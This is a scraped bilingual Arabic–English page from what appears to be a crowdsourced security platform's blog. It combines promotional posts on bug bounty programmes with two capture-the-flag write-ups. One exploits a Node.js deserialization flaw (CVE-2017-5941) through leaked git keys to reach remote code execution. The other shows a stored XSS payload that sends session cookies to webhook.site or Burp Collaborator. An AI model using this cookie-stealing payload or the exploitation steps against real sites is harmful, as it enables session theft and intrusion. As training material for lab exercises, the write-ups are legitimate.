التعاون مع مجتمع الهاكرز الأخلاقيين لا يساهم فقط في تعزيز كفاءة اختبارات الأمان، بل يوفر أيضًا في التكلفة والوقت. حيث ان المهارات الضرورية لاختبارات الاختراق الشاملة تفوق ما يمكن الاحتفاظ به في مؤسسة واحدة أو الحصول عليه من قبل مقدمي اختبارات الاختراق. لهذا التعاون مع مجتمع الهاكرز يضمن توفر جميع المهارات اللازمة لاختبارات اختراق شاملة، ويلغي الحاجة إلى الحصول عليها من عدة مقدمي اختبارات اختراق.

&nbsp;

<h2 dir="rtl">بناء الثقة</h2>

برامج الإفصاح عن الثغرات توفر للهاكرز إمكانية الإبلاغ عن الثغرات التي يجدونها بكل أمان. على الرغم من تردد بعض المؤسسات في التعامل مع الهاكرز، بسبب بعض التحفظات من إظهار معلوماتهم للهاكرز، فقد اثبت التعاون مع مجتمع الهاكرز الأخلاقيين عن طريق برامج مكافأة الثغرات، فعاليته من خلال الكشف عن الكثير من الثغرات الخطيرة التي تغفل عنها فرق الأمن السيبراني في هذه المؤسسات.

&nbsp;

<h2 dir="rtl">التغلب على التحديات المالية</h2>

أكد الكثير من القادة التنفيذيين في العديد من المؤسسات العالمية فعالية التعاون مع مجتمع الهاكرز في تقليل تكاليف أمنهم السيبراني. حيث يساهم هذا التعاون الذي يكافئ الهاكرز على كل ثغره يجدونها في أصولهم الرقمية في توفير تكاليف عالية مقارنة بالدفع مقابل المجهود والوقت لمقدمي خدمات اختبار الاختراق التقليدية.

&nbsp;

ترست لاين تساهم في رفع مستوى الامان لدى المنشات من خلال ربطهم مع مجتمع من الباحثين الامنيين حيث توفر منصة متكاملة تهدف لإجراء اختبار أمني مستمر وشامل لاصولهم الرقمية. إذا كنت ترغب في متابعة آخر الأخبار، يمكنك متابعتنا على وسائل التواصل الاجتماعي مثل <a href="http://twitter.com/TrustlineSec">تويتر</a> و<a href="http://www.linkedin.com/company/trustlinesec/">لينكد إن</a>، ويمكنك التواصل معنا للاطلاع على حلولنا.

&nbsp;

How-Hackers-Are-Helping-Security-Leaders-Navigate-the-Budget-Crunch

CISOs and security leaders face numerous challenges, including the skills gap, technical debt, and limited resources.

يواجه قادة الأمن السيبراني والرؤساء التنفيذيين العديد من التحديات السيبرانية، بما فيها قلة توفر المهارات والموارد المتاحة في المجال السيبراني مما شكّل فجوة خطيرة تهدد أمن هذه المؤسسات.

How Hackers Are Helping Security Leaders Navigate the Budget Crunch

كيف يساعد الهاكرز في التغلب على التحديات المالية التي تواجه المؤسسات في أمنها السيبراني

As the digital landscape continues to expand, organizations are increasingly concerned about falling victim to cybersecurity threats. Web applications, cloud services, IoT devices, APIs, and other digital assets have become integral to our economy. While this digital transformation offers numerous benefits, security leaders face the challenge of ensuring their assets do not become the cause of a security breach.The accumulation of security debt resulting from frequent software releases poses significant challenges for security organizations, exacerbated by the scarcity of skilled professionals. Relying solely on point-in-time security measures and excessive automation and AI creates a false sense of security, leaving vulnerabilities that attackers can exploit.

&nbsp;

<h2>Adopting Continuous Attack Resistance  </h2>

To outpace cybercriminals, businesses must proactively identify vulnerabilities in their digital landscape that malicious actors could exploit. Periodic security measures, though common, are inherently outdated and fail to keep up with evolving threats. Adopting a continuous approach to managing the attack surface is crucial to augment the effectiveness of point-in-time security controls and automated tools. Continuous security testing, performed by experienced experts, helps identify unknown vulnerabilities and reduces the organization&#39;s exposure to threats. This strategy provides several key benefits:  

<ol>
	<li>Access to Unavailable Expertise: Access to valuable skills and expertise that may otherwise be lacking or cost-prohibitive. </li>
	<li>Keeping Pace with Rapid Changes: The rapid pace of new application changes and releases necessitates a continuous approach to security testing to ensure vulnerabilities are promptly identified and addressed. </li>
	<li>Accelerating Remediation: By feeding vulnerability findings into Security Operations teams, organizations enable faster remediation, reducing the window of opportunity for potential attacks. </li>
	<li>Secure Development Processes: Integrating discoveries from continuous testing into software development processes fosters a culture of secure design, ensuring applications are built with robust security measures from the outset.</li>
</ol>

Recognizing that continuous attack resistance may be unfamiliar to many organizations, a logical progression for implementation is recommended to achieve immediate return on investment (ROI) and scalable results.

&nbsp;

<h2>Identifying Critical Applications</h2>

Start by identifying the most business-critical applications. These are the digital assets whose compromise would result in significant revenue loss or damage to customer goodwill. While these assets may already undergo automated pre-release testing, leveraging preemptive adversarial testing through bug bounty or vulnerability disclosure programs taps into the expertise of human security professionals. Ethical hackers provide proof of concept to validate their findings, preemptively identifying attack vectors frequently targeted by cybercriminals.

&nbsp;

<h2>Validating Security Coverage  </h2>

Proving security coverage is essential for audits and regulatory compliance. Adopting a methodology-driven approach to security coverage testing helps uncover gaps in existing security controls, ensuring maximum return on security investments. Traditional penetration testing, while widely accepted, often suffers from scheduling delays, inconsistent results, and limited actionable feedback. Pentesting-as-a-Service (PtaaS) offers an on-demand alternative that follows a methodology-driven approach, enhancing attack resistance while identifying weaknesses in other security controls such as code review, SAST, or firewalls.

&nbsp;

<h2>Integrating Vulnerability Intelligence into SDLC  </h2>

Security teams are under increasing pressure from executive leaders to demonstrate tangible risk reduction. To ensure vulnerabilities are promptly addressed, it is crucial to feed vulnerability data directly to developers. Continuous security testing, executed by real experts mimicking real attack patterns, provides valuable feedback. Integrating this feedback into developer and vulnerability management workflows empowers security organizations to introduce fundamental changes in code shipping practices. Vulnerability data obtained through a continuous security testing approach informs secure coding education, guides pentesting scope, identifies areas for code review improvement, and addresses gaps in SAST coverage. Establishing effective mechanisms and processes to incorporate vulnerability data into existing workflows demonstrates tangible risk reduction and ROI to stakeholders.

&nbsp;

Trustline is the first crowdsourced security platform in the region. Through community of hackers, networks and applications can be tested and protected using the latest strategies and techniques. If you would like to keep up on the latest news, follow us on social media&nbsp;<a href="http://twitter.com/TrustlineSec">Twitter</a>,&nbsp;<a href="http://www.linkedin.com/company/trustlinesec/">LinkedIn</a>&nbsp;and&nbsp;contact us&nbsp;today to explore our offerings.

مع استمرار نمو التقنية والتحول المستمر لاقتصادنا إلى اقتصاد رقمي، يزداد قلق المؤسسات من أن تصبح ضحية للهجمات السيبرانية. أصبحت التطبيقات والخدمات السحابية والأجهزة المتصلة بالإنترنت وواجهة برمجة التطبيقات&nbsp;وغيرها من الأصول الرقمية جزءًا أساسيًا من اقتصادنا. وبينما توفر هذه التحولات الرقمية العديد من الفوائد، تواجه أيضا العديد من التحديات لضمان أمان أصولهم من الانتهاكات السيبرانية.  

&nbsp;

<h2 dir="rtl">اعتماد المقاومة المستمرة للهجمات:  </h2>

للتفوق على المجرمين السيبرانيين، يجب على الشركات تحديد الثغرات في أصولهم الرقمية الخاصة بهم التي يمكن أن يستغلها أصحاب النوايا الخبيثة. تعتبر التدابير الأمنية المعروفة التي لا تحاول اكتشاف الثغرات بشكل مستمر، على الرغم من شيوعها، قديمة وتفشل في مواكبة الهجمات المتطورة. لذلك يعد اعتماد آلية اختبار أمان مستمر أمرًا حاسمًا لتعزيز قوة الأمن السيبراني. يقوم باختبار الأمان المستمر خبراء ذوي خبرة سيبرانية عالية يعملون على تحديد الثغرات غير المعروفة وتقليل فرص استغلالها من قبل المجرمين السيبرانيين. توفر هذا الآلية العديد من الفوائد الرئيسية:

<ol dir="rtl">
	<li>الوصول إلى الخبرات غير المتاحة بالطرق التقليدية:الوصول إلى مهارات وخبرات قيمة قد تكون نادرة أو مكلفة في غيرها من الأحوال.</li>
	<li>مواكبة التغيرات السريعة:سرعة التغيرات والإصدارات الجديدة للتطبيقات تستدعي نهجًا مستمرًا لاختبار الأمان لضمان تحديد الثغرات ومعالجتها بسرعة.</li>
	<li>تسريع عملية الإصلاح:من خلال إيصال معلومات الثغرات إلى فرق عمليات الأمان، يتسنى للمؤسسات تنفيذ عمليات الإصلاح بشكل أسرع، مما يقلل من الفرص المتاحة للاختراقات المحتملة.</li>
	<li>عمليات تطوير آمنة:دمج اكتشافات اختبارات الأمان المستمرة في عمليات تطوير البرامج مما يعزز اعتمادية التصاميم المستقبلية ويضمن بناء التطبيقات بتدابير أمان قوية من البداية.</li>
</ol>

المقاومة المستمرة للهجمات السيبرانية قد تكون غير مألوفة لكثير من الشركات، لذلك يوصى بتنفيذها بمنهجية منطقية لتحقيق عائد استثمار فوري ونتائج قابلة للتوسع.

&nbsp;

<h2 dir="rtl">تحديد الأصول الحساسة</h2>

ابدأ بتحديد التطبيقات الأكثر حيوية. هذه هي الأصول الرقمية التي إذا تعرضت للاختراق ستتسبب في خسائر كبيرة في الإيرادات أو تلحق ضررًا بسمعتك أو سمعة العملاء. في حين قد تخضع هذه الأصول بالفعل لاختبارات ما قبل الاطلاق، إلا أن الاستفادة من اختبار الهجمات السيبرانية من خلال برامج مكافأة الثغرات أو برامج الإفصاح عن الثغرات يساهم في استغلال خبرة الهاكرز الأخلاقيين. حيث يقدم الهاكرز الأخلاقيين دليلًا على قدرتهم في خلق عالم سيبراني آمن، بتحديد فرص الاختراق المحتملة بشكل استباقي ومتكرر.  

&nbsp;

<h2 dir="rtl">التحقق من التغطية الأمنية</h2>

يعد&nbsp;التحقق من&nbsp;التغطية الأمنية أمرًا ضروريًا لعمليات التدقيق والامتثال للأنظمة. يساعد اعتماد منهجية قائمة على اختبار التغطية الأمنية في الأنظمة الحالية من خلال الكشف عن الثغرات أمرًا حاسمًا، مما يضمن أقصى عائد على الاستثمارات الأمنية. اختبار الاختراق التقليدي، على الرغم من قبوله على نطاق واسع، غالبًا ما يعاني من تأخيرات في الجدولة، ونتائج غير متسقة، ومحدودية ردود الفعل التي تعد من الأساس غير فعّالة في ظل التطور الحالي. يقدّم اختبار الاختراق كخدمة بديلاً فعّالا للاختبارات الاختراق التقليدية حيث يتبع نهجًا قائمًا على اختبارات الأمان المستمرة، مما يعزز مقاومة الهجمات مع تحديد نقاط الضعف الأمنية الأخرى مثل مراجعة التعليمات البرمجية أو جدران الحماية.

&nbsp;

<h2 dir="rtl">دمج معلومات الثغرات الأمنية في SDLC  </h2>

تتعرض فرق الأمن السيبراني لضغوط متزايدة من الرؤساء التنفيذيين لإثبات حدود هذه المخاطر. لضمان معالجة الثغرات الأمنية على الفور، من الضروري تقديم بيانات الثغرات الأمنية مباشرةً إلى المطورين التقنيين. توفر اختبارات الأمان المستمرة، التي ينفذها خبراء حقيقيون يحاكون أنماط الهجوم الحقيقية، معلومات قيمة لفرق الأمن السيبراني. حيث يؤدي تزويد المطورين بهذه المعلومات إلى تمكين الشركات من إدخال التغييرات اللازمة لتعزيز الأمان السيبراني. تعمل بيانات الثغرات الأمنية التي يتم الحصول عليها من خلال اختبارات الاختراق المستمرة على توجيه تركيز اختبار الاختراق، وتحديد مجالات التحسين في أمان الأصول الرقمية، ومعالجة الثغرات.

&nbsp;

ترست لاين تساهم في رفع مستوى الامان لدى المنشات من خلال جمعهم مع مجتمع من الباحثين الامنيين. إذا كنت ترغب في متابعة آخر الأخبار، يمكنك متابعتنا على وسائل التواصل الاجتماعي مثل <a href="http://twitter.com/TrustlineSec">تويتر</a> و<a href="http://www.linkedin.com/company/trustlinesec/">لينكد إن</a>، ويمكنك <a href="https://www.trustline.sa/ar/contact-us">التواصل معنا</a> للاطلاع على حلولنا.

Hacker-Powered-Security-Can-Help-the-Financial-Sector

The fintech industry in Saudi Arabia is experiencing exponential growth. Consequently, they become prime targets for cybercriminals..

شهدت التقنية المالية في المملكة العربية السعودية نموًا كبيرا، حيث تغيرت قواعد اللعبة في مجال الخدمات المالية من خلال الابتكارات المدعومة بالتقنية الحديثة. ونتيجة لذلك، أصبحت أهدافًا رئيسية للمجرمين السيبرانيين..

How Hacker-Powered Security Can Help the Financial Sector Navigate the Regulations Challenge

كيف يمكن للأمن السيبراني المدعوم بالهاكرز أن يساعد القطاع المالي في التغلب على التشريعات التنظيمية

Embracing Continuous Testing in the Face of Evolving Threats

تبني منهجية الاختبار المستمر للتصدي للمخاطر السيبرانية المتطورة

embracing-continuous-testing

As the digital landscape continues to expand, organizations are increasingly concerned about falling victim to cybersecurity threats...

مع استمرار نمو التقنية والتحول المستمر لاقتصادنا إلى اقتصاد رقمي، يزداد قلق المؤسسات من أن تصبح ضحية للهجمات السيبرانية. أصبحت ...التطبيقات والخدمات السحابية والأجهزة المتصلة بالإنترنت وواجهة برمجة التطبيقات وغيرها من الأصول الرقمية جزءًا أساسيًا من اقتصادنا

<h2>&nbsp;Challenge overview:</h2>

This report details a sophisticated security assessment leading to the identification and exploitation of a deserialization vulnerability within a Node.js application. The vulnerability, identified as CVE-2017-5941, was discovered through meticulous analysis of the application&#39;s deployment and version control history. This analysis underscores the critical importance of secure coding practices and the diligent management of sensitive information within version control systems. The initial phase of the assessment involved the use of Gobuster, revealing the presence of an exposed .git directory. Subsequent utilization of git-dumper facilitated the extraction of this directory, unveiling significant oversight by the development team, including the exposure of both private and public cryptographic keys within commit histories.

<h2>Technical approach:</h2>

<ul>
	<li>Tools Used: Gobuster, git-dumper</li>
	<li>Skills/Knowledge Required: Understanding of git version control, familiarity with deserialization vulnerabilities</li>
	<li>Objectives: Identify and exploit a deserialization vulnerability within a Node.js application</li>
	<li>Scenario: Analysis of deployment and version control history revealed a deserialization vulnerability (CVE-2017-5941) in a Node.js application. Exposed .git directory led to the extraction of private and public cryptographic keys within commit histories.</li>
</ul>

The technical approach involved several key steps:

<ol>
	<li>Gobuster Analysis:</li>
	<li>Git-dumper Extraction:</li>
	<li>Review Commit History:</li>
	<li>Local Site Run:</li>
	<li>Private Key Integration:</li>
	<li>Analysis of Vulnerable Library:</li>
	<li>Crafting Python Script:</li>
	<li>Replication of Exploitation:</li>
	<li>Real Server Exploitation:</li>
</ol>

Utilized Gobuster to identify the presence of an exposed .git directory. 

<img alt="" src="/media/blog/2024/02/11/brave_hprbwoxzz8_L3GmOZf.png" style="height:332px; width:849px" />

Employed git-dumper to extract the .git folder. 

<img alt="" src="/media/blog/2024/02/11/brave_nfzgodmhm9.png" style="height:376px; width:850px" />

Extracted .git folder to review commit history, leading to the discovery of private and public keys. 

<img alt="" src="/media/blog/2024/02/11/brave_ghrp7xv8yt.png" style="height:460px; width:848px" />

I found a private key on git commit

<img alt="" src="/media/blog/2024/02/11/brave_kkgt2bvocn.png" style="height:418px; width:850px" />

I found public key on git commit

<img alt="" src="/media/blog/2024/02/11/brave_qemkxnvt1g.png" style="height:418px; width:850px" />

Attempted to run the site locally to assess its behavior.

<img alt="" src="/media/blog/2024/02/11/brave_kgl63snjvc.png" style="height:433px; width:849px" />

Integrated the private key into a file and reran the Docker to ensure proper functionality.

<img alt="" src="/media/blog/2024/02/11/brave_pl9raxhcfx.png" style="height:511px; width:849px" />

Identified the usage of the vulnerable Node.js library, node-serialize, susceptible to deserialization attacks enabling remote code execution (RCE).

<img alt="" src="/media/blog/2024/02/11/brave_w5t2nlw50e.png" style="height:513px; width:850px" />

Developed a Python script to manipulate the application&#39;s cookie handling mechanism, leveraging the public key to encrypt a payload triggering the deserialization vulnerability.

<img alt="" src="/media/blog/2024/02/11/brave_q8krvyge3i.png" style="height:482px; width:850px" />

Successfully replicated local exploitation against the production environment, achieving unauthorized code execution.

<img alt="" src="/media/blog/2024/02/11/brave_a1w1o5vqsm.png" style="height:513px; width:849px" />

Attempted the same steps on the real server, resulting in Remote Code Execution.

<img alt="" src="/media/blog/2024/02/11/brave_dzsghagqc1.png" style="height:480px; width:850px" />

We have got a Remote Code Execution on the server

<img alt="" src="/media/blog/2024/02/11/brave_go6qgk5x75.png" style="height:484px; width:848px" />

Know to get the flag just replace id with cat /app/flag.txt &gt; /public/img/flag.txt

&nbsp;

<h2>Conclusion:</h2>

The discovery and exploitation of the CVE-2017-5941 vulnerability within the Node.js application demonstrate significant risks associated with insecure deserialization and the inadequate protection of sensitive information within version control systems. This case study highlights the necessity for rigorous security practices, including secure coding, regular dependency audits, and the secure management of cryptographic keys.&nbsp;

&nbsp;

<h2 dir="rtl">نظرة عامة على التحدي:</h2>

يوضح هذا التقرير تقييمًا أمنيًا متطورًا يؤدي إلى تحديد واستغلال ثغرة في التسلسل داخل تطبيق Node.js. تم اكتشاف الثغرة، المعروفة باسم CVE-2017-5941، من خلال تحليل دقيق لتاريخ نشر التطبيق والتحكم في الإصدارات. يؤكد هذا التحليل أهمية تقنيات البرمجة الآمنة وإدارة المعلومات الحساسة بعناية داخل أنظمة التحكم في الإصدارات. دراسة المرحلة الأولية للتقييم شملت استخدام Gobuster، مما كشف عن وجود دليل .git مكشوف. استخدمت git-dumper بعد ذلك لاستخراج هذا الدليل، مما كشف عن إهمال كبير من قبل فريق التطوير، بما في ذلك تعريض المفاتيح التشفيرية الخاصة والعامة داخل تاريخ الالتزامات.

&nbsp;

<h2 dir="rtl">النهج التقني:</h2>

<ul dir="rtl">
	<li>الأدوات المستخدمة: Gobuster، git-dumper</li>
	<li>المهارات/المعرفة المطلوبة: فهم التحكم بإصدارات git، والمعرفة بالثغرات في عمليات التسلسل</li>
	<li>الأهداف: تحديد واستغلال ثغرة في عملية التسلسل داخل تطبيق Node.js </li>
	<li>السيناريو: أظهر تحليل تاريخ النشر والتحكم في الإصدارات وجود ثغرة في التسلسل (CVE-2017-5941) في تطبيق Node.js. أدى الدليل .git المكشوف إلى استخراج المفاتيح التشفيرية الخاصة والعامة داخل تاريخ الالتزامات.</li>
</ul>

النهج التقني شمل عدة خطوات رئيسية:

<ol dir="rtl">
	<li>تحليل Gobuster: </li>
	<li>استخدم git-dumper لاستخراج مجلد .git.</li>
	<li>مراجعة تاريخ الالتزامات: </li>
	<li>تشغيل الموقع محليًا: </li>
	<li>دمج المفتاح الخاص: </li>
	<li>تحليل المكتبة الضعيفة الأمان: </li>
	<li>تصميم نص برمجي بلغة Python: </li>
	<li>تكرار استغلال الثغرة: </li>
	<li>استغلال الخادم الحقيقي:</li>
</ol>

استخدمت Gobuster لتحديد وجود دليل .git مكشوف.

<img alt="" src="/media/blog/2024/02/11/brave_hprbwoxzz8_L3GmOZf.png" style="height:332px; width:849px" />

استخدمت git-dumper لاستخراج مجلد .git.

<img alt="" src="/media/blog/2024/02/11/brave_nfzgodmhm9.png" style="height:376px; width:850px" />

استخرجت مجلد .git لمراجعة تاريخ الاستحداث، مما أدى إلى اكتشاف المفاتيح السرية والعامة.

<img alt="" src="/media/blog/2024/02/11/brave_ghrp7xv8yt.png" style="height:460px; width:848px" />

لقد وجدت مفتاحًا خاصًا في استحداث git

<img alt="" src="/media/blog/2024/02/11/brave_kkgt2bvocn.png" style="height:418px; width:850px" />

لقد وجدت مفتاحًا عامًا في استحداث git

<img alt="" src="/media/blog/2024/02/11/brave_qemkxnvt1g.png" style="height:418px; width:850px" />

حاولت تشغيل الموقع محليًا لتقييم سلوكه.

<img alt="" src="/media/blog/2024/02/11/brave_kgl63snjvc.png" style="height:433px; width:849px" />

دمجت المفتاح الخاص في ملف وأعدت تشغيل Docker للتأكد من الوظائف السليمة.

<img alt="" src="/media/blog/2024/02/11/brave_pl9raxhcfx.png" style="height:511px; width:849px" />

تم التعرف على طريقة&nbsp;استخدام مكتبة&nbsp;ضعيفة الأمن Node.js، node-serialize، التي تتعرض لهجمات التسلسل مما يمكن من تنفيذ الشفرة عن بعد (RCE).

<img alt="" src="/media/blog/2024/02/11/brave_w5t2nlw50e.png" style="height:513px; width:850px" />

طوّرت نص Python لتلاعب في آلية معالجة الكوكيز للتطبيق، باستخدام المفتاح العام لتشفير حمولة تنشّط ثغرة التسلسل.

<img alt="" src="/media/blog/2024/02/11/brave_q8krvyge3i.png" style="height:482px; width:850px" />

نجحت في تكرار لاستغلال المحلي ضد بيئة الإنتاج بنجاح، محققة تنفيذ شفرة غير مصرّح به.

<img alt="" src="/media/blog/2024/02/11/brave_a1w1o5vqsm.png" style="height:513px; width:849px" />

حاولت نفس الخطوات على الخادم الحقيقي، مما أدى إلى تنفيذ الشفرة عن بعد.

<img alt="" src="/media/blog/2024/02/11/brave_dzsghagqc1.png" style="height:480px; width:850px" />

لقد حصلنا على تنفيذ الشفرة عن بعد على الخادم

<img alt="" src="/media/blog/2024/02/11/brave_go6qgk5x75.png" style="height:484px; width:848px" />

الآن للحصول على العلم، قم ببساطة باستبدال &quot;id&quot; بـ &quot;cat /app/flag.txt &gt; /public/img/flag.txt&quot;

&nbsp;

<h2 dir="rtl">الاستنتاج: </h2>

يظهر اكتشاف واستغلال ثغرة CVE-2017-5941 داخل تطبيق Node.js المخاطر الكبيرة المرتبطة بالتسلسل غير الآمن وعدم حماية المعلومات الحساسة داخل النظم

NationalHistory-Challenge

This write-up documents a challenge focused on exploiting a deserialization vulnerability within a Node.js application (CVE-2017-5941). It follows the journey of identifying and exploiting this vulnerability, starting from the initial analysis using Gobuster and git-dumper to uncover the exposed .git directory, leading to the extraction of cryptographic keys. The technical approach involves various steps, including reviewing commit history, running the site locally, integrating private keys, ana

تحدي NationalHistory تحدياً مركزاً حول استغلال ثغرة في عملية التسلسل داخل تطبيق Node.js (CVE-2017-5941). تتبع رحلة تحديد واستغلال هذه الثغرة، بدءًا من التحليل الأولي باستخدام Gobuster و git-dumper لكشف الدليل .git المكشوف، مما أدى إلى استخراج المفاتيح التشفيرية. يتضمن النهج التقني خطوات مختلفة، بما في ذلك مراجعة تاريخ الالتزامات، وتشغيل الموقع محليًا، ودمج المفاتيح الخاصة، وتحليل المكتبات ضعيفة الأمان، وصياغة نص برمجي بلغة Python.

NationalHistory Challenge Writeup

حل تحدي NationalHistory

<h2>Challenge ovierview:</h2>

FitnessZone is a hard-level challenge with the desciption &ldquo;Your best health and wellness starts with a Fitness Zone membership. Feel amazing every day with a fitness membership that fits around your lifestyle. It is a web-based challenge that requires specific skills, including a solid understanding of the OWASP Top 10.&nbsp; In this challenge, I conducted a series of steps to exploit vulnerabilities within a web application. The goal was to escalate privileges from a Bronze-level user to Silver and, ultimately, gain access to the coveted &#39;Gold&#39; membership level, where the flag could be retrieved. This report outlines the steps taken and the vulnerabilities identified. Technical approach:

Technical approach:

I examined the source page to search for any JavaScript or comments, but it consisted solely of clear HTML/CSS with no JavaScript scripts included. During the assessment, I intercepted the registration request for the web application. In this request, I discovered a parameter named &#39;membership&#39; that appeared to dictate the user&#39;s membership level. In an attempt to upgrade my membership from &#39;Bronze&#39; to &#39;Silver,&#39; I manipulated the &#39;membership&#39; parameter value. 

However, the application promptly responded with the message, &quot;Only Bronze membership is available for now,&quot; indicating that a direct modification of membership was not allowed.

<img alt="" src="/media/blog/2024/02/18/one.png" style="height:539px; width:494px" />

Persistently, I continued my efforts by modifying the &#39;membership&#39; parameter value to &#39;Silver.&#39; This manipulation successfully granted me &#39;Silver&#39; membership status, prompting the message, &quot;You are a Silver Level User. Upgrade To Access Premium Features

<img alt="" src="/media/blog/2024/02/18/two.png" style="height:599px; width:731px" />

&nbsp;

<img alt="" src="/media/blog/2024/02/18/three.png" style="height:505px; width:566px" />

Exploring the application, I came across the &#39;Apply For Gold&#39; button. By clicking on this button, I was presented with fields for providing a name and a description for my Gold membership application.

<img alt="" src="/media/blog/2024/02/18/four.png" style="height:367px; width:485px" />

&nbsp;

XSS via CSRF Exploitation

Given the opportunity to provide a name and description and visite by admin, I identified a potential vulnerability. I suspected that the application might be susceptible to Cross-Site Scripting (XSS) attacks stored via Cross-Site Request Forgery (CSRF).

Crafting the XSS Payload

<ul>
	<li>To test my hypothesis, I created an XSS payload using JavaScript to exfiltrate the user&#39;s session cookie:</li>
</ul>

<kbd><code>```bash</code></kbd>

<kbd><code>&lt;script&gt;</code></kbd>

<kbd><code>&nbsp;&nbsp; document.write(&#39;&lt;img src=&quot;[URL]?c=&#39; + document.cookie + &#39;&quot; /&gt;&#39;);</code></kbd>

<kbd><code>&nbsp;&lt;/script&gt;</code></kbd>

<kbd><code>```</code></kbd>

<ul>
	<li>I ensured that the &#39;[URL]&#39; was set to either Burp Collaborator (for users with BurpSuite Pro) or &quot;https://webhook.site&quot; for those without BurpSuite Pro. </li>
</ul>

Payload Injection

<ul>
	<li>I proceeded to inject the crafted payload into all available fields, namely &#39;name&#39; and &#39;description,&#39; and submitted the Gold membership application.</li>
</ul>

<img alt="" src="/media/blog/2024/02/18/five.png" style="height:459px; width:390px" />

Confirmation of Successful Submission

<ul>
	<li>The application responded with the message, &#39;Request submitted successfully. Admin will take a look at it soon,&#39; indicating that the request was saved and pending review by the admin. Flag Retrieval </li>
	<li>Upon successful execution of the XSS payload, I received a callback on the chosen platform (Burp Collaborator or &quot;https://webhook.site&quot;). This callback provided access to the coveted flag.</li>
</ul>

<img alt="" src="/media/blog/2024/02/18/six.png" style="height:229px; width:680px" />

<h2>Conclusion:</h2>

This CTF challenge demonstrated the exploitation of a combination of vulnerabilities to elevate privileges and gain unauthorized access within the web application. The critical vulnerabilities identified included Inadequate input validation allowing manipulation of the &#39;membership&#39; parameter. A potential Cross-Site Scripting (XSS) vulnerability stored via Cross-Site Request Forgery (CSRF). The successful exploitation of these vulnerabilities allowed for the retrieval of the flag, highlighting the importance of robust security testing and measures in web application development. This exercise serves as a valuable reminder of the importance of addressing security flaws proactively and continuously to protect web applications against real-world attacks.

نظرة عامة على التحدي:

يعتبر FitnessZone تحديًا من الصعب تخطيه مع الوصف &quot;تبدأ صحتك ورفاهيتك الأفضل مع عضوية في Fitness Zone. اشعر بتحسن كل يوم مع عضوية للياقة البدنية تناسب نمط حياتك.&quot;&nbsp; إنه تحدي قائم على الويب يتطلب مهارات محددة ، بما في ذلك فهم جيد لأفضل 10 مشاكل في OWASP. في هذا التحدي ، قمت بتنفيذ سلسلة من الخطوات لاستغلال الثغرات داخل تطبيق ويب. كان الهدف هو تصعيد الامتيازات من مستخدم بمستوى برونزي إلى فضي وبالتالي الحصول على وصول إلى مستوى العضوية &#39;الذهبية&#39; المرغوب فيه، حيث يمكن استرجاع العلم. يوضح هذا التقرير الخطوات التي تم اتخاذها والثغرات المحددة.

<h2 dir="rtl">النهج التقني:</h2>

قمت بفحص صفحة المصدر للبحث عن أي JavaScript أو تعليقات ، ولكنها كانت تتألف فقط من HTML/CSS واضح بدون أي سكريبتات JavaScript مدرجة خلال التقييم ، قمت بالتقاط طلب التسجيل لتطبيق الويب. في هذا الطلب ، اكتشفت معلمة تسمى &#39;العضوية&#39; التي بدت كما لو كانت تحدد مستوى عضوية المستخدم.

في محاولة لرفع مستوى عضويتي من &#39;برونزية&#39; إلى &#39;فضية&#39; ، قمت بتلاعب قيمة معلمة &#39;العضوية&#39;. ومع ذلك ، رد التطبيق بسرعة بالرسالة &quot;العضوية البرونزية متاحة فقط الآن&quot; ، مشيرًا إلى أن التعديل المباشر للعضوية لم يكن مسموحًا.

<img alt="" src="/media/blog/2024/02/18/one.png" style="height:539px; width:494px" />

بصمود ، واصلت جهودي بتعديل قيمة معلمة &#39;العضوية&#39; إلى &#39;فضية&#39;. نجح هذا التلاعب في منحي حالة عضوية &#39;فضية&#39; ، مما دفع الرسالة &quot;أنت عضو فضي. قم بالترقية للوصول إلى الميزات المميزة

<img alt="" src="/media/blog/2024/02/18/two.png" style="height:599px; width:731px" />

&nbsp;

<img alt="" src="/media/blog/2024/02/18/three.png" style="height:505px; width:566px" />

أثناء استكشاف التطبيق ، وجدت زر &quot;التقدم بطلب للحصول على الذهب&quot;. بالنقر فوق هذا الزر ، تم عرض حقول لتقديم اسم ووصف لطلب عضوية الذهب.

<img alt="" src="/media/blog/2024/02/18/four.png" style="height:367px; width:485px" />

&nbsp;

XSS عبر استغلال CSRF

بناءً على الفرصة المتاحة لتقديم اسم ووصف وزيارة من قبل المسؤول ، تمكنت من تحديد ثغرة محتملة. اشتبهت في أن التطبيق قد يكون عرضة لهجمات Cross-Site Scripting (XSS) المخزنة عبر Cross-Site Request Forgery (CSRF).

صياغة حمولة XSS

لاختبار فرضيتي ، قمت بإنشاء حمولة XSS باستخدام JavaScript لسرقة ملف تعريف الجلسة للمستخدم:

```bash

&lt;script&gt;

&nbsp;&nbsp; document.write(&#39;&lt;img src=&quot;[URL]?c=&#39; + document.cookie + &#39;&quot; /&gt;&#39;);

&nbsp;&lt;/script&gt;

```

ضمنت أن &#39;[URL]&#39; تم تعيينه إما على Burp Collaborator (للمستخدمين الذين يمتلكون BurpSuite Pro) أو &quot;<a href="https://webhook.site/" target="_new">https://webhook.site</a>&quot; لأولئك الذين لا يمتلكون BurpSuite Pro.

حقن الحمولة

واصلت في حقن الحمولة المصممة في جميع الحقول المتاحة ، وهي &#39;الاسم&#39; و &#39;الوصف&#39; ، وقدمت طلب عضوية الذهب.

<img alt="" src="/media/blog/2024/02/18/five.png" style="height:459px; width:390px" />

&nbsp;

تأكيد الإرسال الناجح

رد التطبيق برسالة &quot;تم إرسال الطلب بنجاح. سيقوم المسؤول بالنظر فيه قريبًا&quot; ، مما يشير إلى أن الطلب تم حفظه وفي انتظار مراجعة من قبل المسؤول.

استرجاع العلم

بعد تنفيذ الحمولة XSS بنجاح ، تلقيت ردًا على المنصة المختارة (Burp Collaborator أو &quot;<a href="https://webhook.site/" target="_new">https://webhook.site</a>&quot;). هذا الرد قدم وصولًا إلى العلم المرغوب فيه.

<img alt="" src="/media/blog/2024/02/18/six.png" style="height:229px; width:680px" />

الاستنتاج:

أظهر هذا التحدي في CTF استغلال مزيج من الثغرات لرفع مستوى الامتيازات والحصول على وصول غير مصرح به داخل تطبيق الويب. تشمل الثغرات الحرجة المحددة: عدم كفاية التحقق من الإدخال مما يسمح بالتلاعب بمعلمة &#39;العضوية&#39;. ثغرة محتملة في Cross-Site Scripting (XSS) المخزنة عبر Cross-Site Request Forgery (CSRF). نجح استغلال هذه الثغرات في استرجاع العلم ، مما يبرز أهمية اختبار الأمان القوي والتدابير في تطوير تطبيقات الويب. يعتبر هذا التمرين تذكيرًا قيمًا بأهمية معالجة العيوب الأمنية بشكل نشط ومستمر لحماية تطبيقات الويب من هجمات العالم الحقيقي.

